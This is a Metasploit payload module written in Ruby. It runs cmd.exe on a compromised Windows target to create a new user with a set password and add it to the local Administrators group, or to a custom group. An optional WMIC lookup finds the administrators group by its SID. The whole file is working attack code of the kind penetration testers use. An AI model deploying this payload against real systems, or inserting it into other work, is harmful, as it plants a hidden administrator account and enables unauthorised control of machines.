##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


###
#
# Extends the Exec payload to add a new user.
#
###
module MetasploitModule

  CachedSize = 282

  include Msf::Payload::Windows::Exec

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Windows Execute net user /ADD',
      'Description'   => %q{
        Create a new user and add them to local administration group.

        Note: The specified password is checked for common complexity
        requirements to prevent the target machine rejecting the user
        for failing to meet policy requirements.

        Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)
      },
      'Author'        => ['hdm','Chris John Riley'],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Privileged'    => true))

    # Register command execution options
    register_options(
      [
        OptString.new('USER', [ true, "The username to create",     "metasploit" ]),
        OptString.new('PASS', [ true, "The password for this user", "Metasploit$1" ]),
        OptString.new('CUSTOM', [ false, "Custom group name to be used instead of default", '' ]),
        OptBool.new('WMIC',	 [ true, "Use WMIC on the target to resolve administrators group", false ]),
      ])

    register_advanced_options(
      [
        OptBool.new("COMPLEXITY", [ true, "Check password for complexity rules", true ]),
      ])

    # Hide the CMD option...this is kinda ugly
    deregister_options('CMD')
  end

  #
  # Override the exec command string
  #
  def command_string
    user = datastore['USER'] || 'metasploit'
    pass = datastore['PASS'] || ''
    cust = datastore['CUSTOM'] || ''
    wmic = datastore['WMIC']
    complexity= datastore['COMPLEXITY']

    if(pass.length > 14)
      raise ArgumentError, "Password for the adduser payload must be 14 characters or less"
    end

    if complexity and pass !~ /\A^.*((?=.{8,})(?=.*[a-z])(?=.*[A-Z])(?=.*[\d\W])).*$/
      raise ArgumentError, "Password: #{pass} doesn't meet complexity requirements and may cause issues"
    end

    if not cust.empty?
      print_status("Using custom group name #{cust}")
      return "cmd.exe /c net user #{user} #{pass} /ADD && " +
        "net localgroup \"#{cust}\" #{user} /ADD"
    elsif wmic
      print_status("Using WMIC to discover the administrative group name")
      return "cmd.exe /c \"FOR /F \"usebackq tokens=2* skip=1 delims==\" " +
        "%G IN (`wmic group where sid^='S-1-5-32-544' get name /Value`); do " +
        "FOR /F \"usebackq tokens=1 delims==\" %X IN (`echo %G`); do " +
        "net user #{user} #{pass} /ADD && " +
        "net localgroup \"%X\" #{user} /ADD\""
    else
      return "cmd.exe /c net user #{user} #{pass} /ADD && " +
        "net localgroup Administrators #{user} /ADD"
    end

  end
end

